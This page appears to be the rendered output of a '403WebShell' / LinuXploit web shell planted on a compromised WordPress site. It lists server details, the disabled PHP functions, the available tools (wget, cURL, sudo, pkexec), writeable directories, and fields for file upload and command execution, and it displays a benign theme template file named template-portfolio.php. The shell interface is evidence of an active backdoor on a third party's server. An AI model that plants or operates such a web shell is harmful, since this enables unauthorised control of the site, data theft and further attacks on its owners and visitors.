Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.201
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/blog.ecoledelangues.be/wp-content/themes/metro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/blog.ecoledelangues.be/wp-content/themes/metro/template-portfolio.php
<?php
/*
Template Name: Portfolio 3 Column
*/

get_header(); ?>

<?php

	$arg=array (
		'post_type' => 'portfolio',
		'orderby' => 'menu_order',
		'order' => 'ASC',
		'posts_per_page' => -1
	);
	
	$sort=get_option(OM_THEME_PREFIX . 'portfolio_sort');
	if($sort == 'date_asc') {
		$arg['orderby'] = 'date';
		$arg['order'] = 'ASC';
	} elseif($sort == 'date_desc') {
		$arg['orderby'] = 'date';
		$arg['order'] = 'DESC';
	}
	
	$pagination=intval(get_option(OM_THEME_PREFIX . 'portfolio_per_page'));
	if($pagination) {
		$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
		$arg['posts_per_page']=$pagination;
		$arg['paged']=$paged;
	}
	
	$portfolio_category=intval(get_post_meta($post->ID, OM_THEME_SHORT_PREFIX.'portfolio_categories', true));
	if($portfolio_category) {
		$arg['tax_query']=array(
			array('taxonomy'=>'portfolio-type', 'terms' => $portfolio_category),
		);
	}
	
	$query = new WP_Query($arg);
	$max_num_pages=$query->max_num_pages;
?>

		<div class="block-full bg-color-main">
			<div class="block-inner">
				<?php
          if ( current_user_can( 'edit_post', $post->ID ) )
      	    edit_post_link( __('edit', 'om_theme'), '<div class="edit-post-link">[', ']</div>' );
    		?>
				<div class="tbl-bottom">
					<div class="tbl-td">
						<h1 class="page-h1"><?php the_title(); ?></h1>
					</div>
					<?php if(get_option(OM_THEME_PREFIX . 'show_breadcrumbs') == 'true') { ?>
						<div class="tbl-td">
							<?php om_breadcrumbs(get_option(OM_THEME_PREFIX . 'breadcrumbs_caption')) ?>
						</div>
					<?php } ?>
				</div>
				<div class="clear page-h1-divider"></div>

				<?php
				$arg = array (
					'type' => 'portfolio',
					'taxonomy' => 'portfolio-type'
				);
				if($portfolio_category) {
					$arg['child_of']=$portfolio_category;
				}
				$categories=get_categories( $arg );
				if(!empty($categories)) {
				?>
					<!-- Categories -->
					<ul class="sort-menu<?php echo (!$pagination?' isotope-sort-menu':'')?>">
						<li><a href="#portfolio-thumb" class="button single-color active"><?php _e('All', 'om_theme'); ?><span class="count"><?php echo max($query->post_count, $query->found_posts) ?></span></a></li>
						<?php
							foreach($categories as $category) {
								if(!$category->count)
									continue;
								echo '<li><a href="'.get_term_link($category, 'portfolio-type').(!$pagination?'#'.$category->slug:'').'" class="button single-color">'.$category->name.'<span class="count">'.$category->count.'</span></a></li>';
							}
						?>
					</ul>
					<div class="clear"></div>
					<!-- /Categories -->
				<?php } ?>
			</div>
		</div>
		
		<div class="clear anti-mar">&nbsp;</div>

		<div class="portfolio-wrapper<?php echo (!$pagination?' isotope':'')?>" id="portfolio-wrapper">
			<!-- Portfolio items -->
			
			<?php
			
			while ( $query->have_posts() ) : $query->the_post(); ?>
			
				<?php
				$terms =  get_the_terms( $post->ID, 'portfolio-type' ); 
				$term_list = array();
				if( is_array($terms) ) {
					foreach( $terms as $term ) {
						$term_list[]=urldecode($term->slug);
					}
				}
				$term_list=implode(' ',$term_list);
				?>
			
				<div <?php post_class('portfolio-thumb bg-color-main isotope-item block-3 show-hover-link '.$term_list); ?> id="post-<?php the_ID(); ?>">
					<div class="pic block-h-2">
						<?php if ( (function_exists('has_post_thumbnail')) && (has_post_thumbnail()) ) { ?>
						<?php the_post_thumbnail('portfolio-thumb'); ?>
						<?php } else { echo '&nbsp'; } ?>
					</div>
					<div class="desc block-h-1">
						<div class="title"><?php the_title(); ?></div>
						<div class="tags"><?php the_terms($post->ID, 'portfolio-type', '', ', ', ''); ?></div>
					</div>
					<a href="<?php the_permalink(); ?>" class="link"><span class="after"></span></a>
				</div>
			<?php endwhile; ?>
			
			<?php wp_reset_postdata(); ?>
			
			<!-- /Portfolio items -->
			<div class="clear"></div>
		</div>									

		<div class="clear anti-mar">&nbsp;</div>
		
		<?php
			if($pagination) {
				$links=paginate_links( array(
					'base' => str_replace( '999999999', '%#%', esc_url( get_pagenum_link( '999999999' ) ) ),
					'format' => '?paged=%#%',
					'current' => $paged,
					'total' => $max_num_pages,
					'type' => 'array',
					'prev_text' => __('Previous', 'om_theme'),
					'next_text' => __('Next', 'om_theme'),
				) );
				if(!empty($links)) {
					echo '<div class="block-full bg-color-main"><div class="block-inner">';
					echo om_wrap_paginate_links($links);
					echo '</div></div><div class="clear anti-mar">&nbsp;</div>';
				}
			}
		?>
							
<?php get_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit